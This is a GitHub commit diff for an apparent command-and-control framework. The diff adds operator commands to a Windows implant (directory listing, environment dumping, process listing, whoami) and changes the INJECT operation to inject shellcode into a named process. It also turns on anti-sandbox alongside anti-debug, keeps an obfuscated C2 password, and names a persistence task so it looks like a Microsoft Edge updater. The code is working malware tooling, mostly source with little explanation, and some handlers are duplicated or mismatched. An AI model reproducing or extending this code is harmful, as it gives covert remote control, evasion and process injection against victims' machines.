Skip to content

Commit

Permalink
Add basic OS functions and fix some bugs
Browse files Browse the repository at this point in the history
  • Loading branch information
cbrnrd committed May 8, 2023
1 parent 5cc32f7 commit 91a40f2
Show file tree
Hide file tree
Showing 17 changed files with 550 additions and 215 deletions.
22 changes: 11 additions & 11 deletions client/admin.json
Original file line number Diff line number Diff line change
@@ -1,12 +1,12 @@
{
"name": "admin",
"c2": "localhost",
"c2_port": 5000,
"login_secret": "gsMUeQkX@W[#]/IB+{8fIa+e),ZbGW]5",
"secret": "fAtkDo5Nv015K/GJTfjrwlQD8WJvhHhekiLMlFvYQmk=",
"public": "uAgViSbfAhvyXTVXg5Vbb2Zbj+xKW/Vvj/fsVo7efmM=",
"signing_key": "4IZyCfuldbZT/NO643671Du8W1U/rwah4Wp8r7QHmjk=",
"verify_key": "hdxRRSuqP7kmi/Y3BfKh3HqzjMhonalgkX090dCjLa8=",
"server_pub": "ZkYMKRy7TawaJyrrS49ndGeeVfH5Zjh1rEK48Yjuk1Q=",
"rmq_queue": "+n0hNSa0Wt]$7^[email protected],]dW}`{c(a"
}
"name": "admin",
"c2": "localhost",
"c2_port": 5000,
"login_secret": "qp3~kUPnZ%OK05pcO;>]Vq)y557Zy0P_",
"secret": "k42MJBIg0Sfs0I4FN8zJlIrp0/p62TTiRawyCIs/fD8=",
"public": "mr/8raOkxyBldgZrEw8KYqEVHb3bMMWsF+9IXiWX5CA=",
"signing_key": "A6rVwy+OWCMopMMbCWmX9xxCZrD+8MwyxJzpR8Od2H4=",
"verify_key": "/rI9+Z6yO0YXkVLz2ts3I/d3DJNxckxyGsHJc4638pg=",
"server_pub": "aaYxfWBC7CImD2aszK1efXxTA8FIOzauYKASHgdJxj8=",
"rmq_queue": "mmAm5t0JNko':)d^L$Xr-{MuNAlpXN(H"
}
34 changes: 30 additions & 4 deletions client/cli/command.py
Original file line number Diff line number Diff line change
Expand Up @@ -90,13 +90,15 @@ def handle_interact(implant_id: Optional[str], config: OperatorConfig) -> None:

def handle_result(config: OperatorConfig, args: List[str]) -> None:
"""
Handle the result command
Handle the result command. Optionally write results to a file
"""
if len(args) < 1:
logger.error("Please provide a task ID")
return

print_task_result(config, args[0])
if len(args) == 2:
write_task_results_to_file(config, args[0], args[1])
else:
print_task_result(config, args[0])

def handle_exit() -> None:
"""
Expand Down Expand Up @@ -211,7 +213,7 @@ def print_task_result(config: OperatorConfig, task_id: str) -> None:
logger.info("Task had no output")
return

decoded = base64.b64decode(taskB64).decode("utf-8")
decoded = base64.b64decode(taskB64)
try:
task = json.loads(decoded)
except Exception as e:
Expand All @@ -220,3 +222,27 @@ def print_task_result(config: OperatorConfig, task_id: str) -> None:
return

print(tabulate(task.items(), headers=["Key", "Value"], tablefmt="fancy_grid"))

def write_task_results_to_file(config: OperatorConfig, task_id: str, outfile: str):
"""
Write the result of a task to a file
"""
taskB64 = get_task_result(config, task_id)
if taskB64 is None:
return

if taskB64 == "":
logger.info("Task had no output")
return

decoded = base64.b64decode(taskB64)
try:
task = json.loads(decoded)
except Exception as e:
logger.warning("Result is not JSON, writing raw output")
with open(outfile, "wb") as f:
f.write(decoded)
return

with open(outfile, "w") as f:
json.dump(task, f, indent=4)
6 changes: 6 additions & 0 deletions client/cli/commands.py
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,12 @@
"sysinfo": "Get system information from the implant",
"sleep <seconds>": "Sleep for a given number of seconds",
"selfdestruct": "Remove and kill the implant",
"chdir <path>": "Change the implant's working directory",
"pwd": "Get the implant's working directory",
"getenv": "Get all environment variables",
"ls": "List files in the implant's working directory",
"ps": "List running processes",
"whoami": "Get the current user",
"config": {
"set": {
"user_agent <user_agent>": "Set the user agent for the implant",
Expand Down
82 changes: 73 additions & 9 deletions client/cli/interact.py
Original file line number Diff line number Diff line change
Expand Up @@ -72,6 +72,18 @@ def handle(cmd: str, args: List[str], config: OperatorConfig, implant_id: str) -
handle_upload(config, implant_id, args)
elif cmd == "inject":
handle_inject(config, implant_id, args)
elif cmd == "cd":
handle_cd(config, implant_id, args)
elif cmd == "pwd":
handle_pwd(config, implant_id)
elif cmd == "getenv":
handle_getenv(config, implant_id)
elif cmd == "ls":
handle_ls(config, implant_id, args)
elif cmd == "ps":
handle_ps(config, implant_id)
elif cmd == "whoami":
handle_whoami(config, implant_id)
elif cmd == "back":
return True
elif cmd == "clear":
Expand Down Expand Up @@ -237,14 +249,8 @@ def handle_result(config: OperatorConfig, args: List[str]) -> None:
"""
Handle the result command, get the results of a task
"""
from .command import print_task_result
if len(args) < 1:
logger.error("Please provide a task id")
return

task_id = args[0]
logger.debug(f"Getting results for task {task_id}")
print_task_result(config, task_id)
from .command import handle_result
handle_result(config, args)

def handle_sleep(config: OperatorConfig, implant_id: str, args: List[str]) -> None:
"""
Expand Down Expand Up @@ -321,4 +327,62 @@ def handle_inject(config: OperatorConfig, implant_id: str, args: List[str]) -> N
file_contents = base64.b64encode(f.read()).decode()

logger.debug(f"Sending inject task to {implant_id}")
add_task(config, Opcodes.INJECT.value, implant_id, [file_contents, process_name])
add_task(config, Opcodes.INJECT.value, implant_id, [file_contents, process_name])

def handle_cd(config: OperatorConfig, implant_id: str, args: List[str]) -> None:
"""
Handle the cd command, send a cd task to the implant
"""
if len(args) < 1:
logger.error("Please provide a directory to change to")
return

directory = args[0]
logger.debug(f"Sending cd task to {implant_id}")
add_task(config, Opcodes.CHDIR.value, implant_id, directory)

def handle_ls(config: OperatorConfig, implant_id: str, args: List[str]) -> None:
"""
Handle the ls command, send an ls task to the implant
"""
if len(args) < 1:
logger.error("Please provide a directory to list")
return

logger.debug(f"Sending ls task to {implant_id}")
add_task(config, Opcodes.LS.value, implant_id, None)

def handle_pwd(config: OperatorConfig, implant_id: str) -> None:
"""
Handle the pwd command, send a pwd task to the implant
"""
logger.debug(f"Sending pwd task to {implant_id}")
add_task(config, Opcodes.PWD.value, implant_id, None)

def handle_ls(config: OperatorConfig, implant_id: str, args: List[str]) -> None:
"""
Handle the ls command, send an ls task to the implant
"""
logger.debug(f"Sending ls task to {implant_id}")
add_task(config, Opcodes.LS.value, implant_id, None)

def handle_getenv(config: OperatorConfig, implant_id: str, args: List[str]) -> None:
"""
Handle the getenv command, send a getenv task to the implant
"""
logger.debug(f"Sending getenv task to {implant_id}")
add_task(config, Opcodes.GETENV.value, implant_id, None)

def handle_ps(config: OperatorConfig, implant_id: str) -> None:
"""
Handle the ps command, send a ps task to the implant
"""
logger.debug(f"Sending ps task to {implant_id}")
add_task(config, Opcodes.PS.value, implant_id, None)

def handle_whoami(config: OperatorConfig, implant_id: str) -> None:
"""
Handle the whoami command, send a whoami task to the implant
"""
logger.debug(f"Sending whoami task to {implant_id}")
add_task(config, Opcodes.WHOAMI.value, implant_id, None)
8 changes: 7 additions & 1 deletion client/opcodes.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,13 @@ class Opcodes(Enum):
UPDATE_CONFIG = 0x05 # Update the implant's maleable config
DOWNLOAD = 0x06 # Download a file from the implant to the server
UPLOAD = 0x07 # Upload a file from the server to the implant
INJECT = 0x08 # Inject a DLL into a process
INJECT = 0x08 # Inject shellcode into a process
CHDIR = 0x09 # Change the implant's working directory
PWD = 0x0A # Get the implant's working directory
GETENV = 0x0B # Get all environment variables
LS = 0x0C # List files in a directory
PS = 0x0D # List running processes
WHOAMI = 0x0E # Get the current user

def __str__(self):
return self.name
Expand Down
39 changes: 35 additions & 4 deletions design/opcodes.md
Original file line number Diff line number Diff line change
Expand Up @@ -5,14 +5,20 @@ Arguments for each opcode must be a valid JSON type supported by [SQLAlchemy](ht

| Opcode | Action | Description |
|--------|--------|-------------|
| `0x1` | `CMD` | Execute a command on the implant |
| `0x2` | `SELFDESTRUCT` | Delete and kill the implant |
| `0x3` | `SYSINFO` | Get system information |
| `0x01` | `CMD` | Execute a command on the implant |
| `0x02` | `SELFDESTRUCT` | Delete and kill the implant |
| `0x03` | `SYSINFO` | Get system information |
| `0x04` | `SLEEP` | Sleep for a specified amount of time |
| `0x05` | `UPDATE_CONFIG` | Update the malleable configuration of the implant |
| `0x06` | `DOWNLOAD` | Download a file from the implant |
| `0x07` | `UPLOAD` | Upload a file to the implant |
| `0x08` | `INJECT` | Inject a DLL from the server into a process |
| `0x08` | `INJECT` | Inject shellcode from the server into a process |
| `0x09` | `CHDIR` | Change the working directory of the implant |
| `0x0A` | `PWD` | Get the current working directory of the implant |
| `0x0B` | `GETENV` | Gets all environment variables from the implant |
| `0x0C` | `LS` | List files in the current working directory |
| `0x0D` | `PS` | List running processes |
| `0x0E` | `WHOAMI` | Get the current user of the implant |

## CMD

Expand Down Expand Up @@ -51,3 +57,28 @@ Ex: `["C:\\Users\\user\\Desktop\\file.txt", "b64encoded-file-content=="]`

Args: List of 2 strings (base64 encoded shellcode, process name/id)
Ex: `["shellcode==", "notepad.exe"]`

## CHDIR

Args: 1 string (path to change to)
Ex: `"C:\\Users\\user\\Desktop"`

## PWD

Args: None

## GETENV

Args: None

## LS

Args: None

## PS

Args: None

## WHOAMI

Args: None
31 changes: 0 additions & 31 deletions implant/hash_import.c

This file was deleted.

40 changes: 40 additions & 0 deletions implant/include/command.h
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@
#include <windows.h>
#include <string>
#include <vector>
#include <map>
#include "profile.h"


Expand All @@ -28,10 +29,49 @@ std::string SysInfo();
*/
void UpdateProfile(rapidjson::Value* changes, MalleableProfile* currentProfile);

/**
* Saves the decoded contents of `b64Contents` to `fileName`
*/
std::string Upload(std::string fileName, std::string b64Contents);

/**
* Downloads the file at `filepath` and returns the base64 encoded contents
*/
std::string Download(std::string filepath);

/**
* Injects the base64 encoded shellcode into the process with name `processName`
*/
std::string Inject(std::string b64shellcode, std::string processName);

/**
* Change the current working directory to `path`
*/
bool ChangeDir(std::string path);

/**
* Returns the current working directory
*/
std::string GetDir();

/**
* Returns a map of all environment variables
*/
std::map<std::string, std::string> GetAllEnvVars();

/**
* Gets all files in the current working directory
*/
std::vector<std::string> GetAllFilesInCurrentDirectory();

/**
* Gets all running processes and their PIDs
*/
std::map<std::string, DWORD> GetProcessNameToPIDMap();

/**
* Gets the username of the current user
*/
std::string Whoami();

#endif
5 changes: 3 additions & 2 deletions implant/include/constants.h
Original file line number Diff line number Diff line change
Expand Up @@ -29,14 +29,15 @@
#define REGISTER_MAX_RETRIES 5
#define SCHTASK_PERSIST FALSE
#define USE_ANTIDEBUG TRUE
#define USE_ANTISANDBOX FALSE
#define USE_ANTISANDBOX TRUE
#define C2_REGISTER_PASSWORD OBFUSCATED("SWh5bHhGOENYQWF1TW9KR3VTb0YwVkVWbDRud1RFaHc=") // Base64 encoded server auth password
#define REGISTER_USER_AGENT OBFUSCATED("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36")
#define SCHEDULED_TASK_NAME OBFUSCATED("MicrosoftEdgeUpdateTaskMachineUA")


/****************************************/
/* Actual constants */
/****************************************/
#define CONTENT_TYPE_JSON OBFUSCATED("Content-Type: application/json")

#endif // CONSTANTS_H_
#endif // CONSTANTS_H_
6 changes: 6 additions & 0 deletions implant/include/opcode.h
Original file line number Diff line number Diff line change
Expand Up @@ -9,5 +9,11 @@
#define OPCODE_DOWNLOAD 0x6
#define OPCODE_UPLOAD 0x7
#define OPCODE_INJECT 0x8
#define OPCODE_CHDIR 0x9
#define OPCODE_PWD 0xA
#define OPCODE_GETENV 0xB
#define OPCODE_LS 0xC
#define OPCODE_PS 0xD
#define OPCODE_WHOAMI 0xE

#endif
Loading

0 comments on commit 91a40f2

Please sign in to comment.